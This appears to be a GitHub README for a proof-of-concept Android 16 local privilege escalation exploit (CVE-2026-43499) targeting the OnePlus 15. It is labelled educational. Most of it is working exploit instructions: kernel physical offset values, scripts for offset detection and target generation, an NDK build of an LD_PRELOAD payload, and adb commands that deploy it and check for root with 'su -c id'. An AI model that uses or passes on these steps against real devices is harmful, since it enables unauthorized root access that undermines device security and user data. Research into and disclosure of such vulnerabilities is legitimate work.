bartixxx32/cve-2026-43499-oneplus15Educational proof-of-concept for Android 16 local privilege escalation on OnePlus 15, featuring kernel offset detection, target generation, and LD_PRELOAD-based exploit build.
WARNING: This repository is provided for educational and research purposes only. No pre-built binaries or releases are distributed. You must build everything from source.
Android 16 local privilege escalation for OnePlus 15.
Fork of x-spy/CVE-2026-43499-popsicle with a kallsyms alignment fix and a verified OnePlus 15 profile.
Profile contains two physical addresses that must be confirmed from a rooted device running the same firmware:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Auto-detect with a rooted device:
python3 detect_offset.py
Requires Python 3 and llvm-objdump:
python3 generate_target.py \
--boot boot.img \
--profile profile_oneplus15.json \
-o source/src/target.h
make -C source clean preload
If NDK is not automatically detected:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
Output: source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id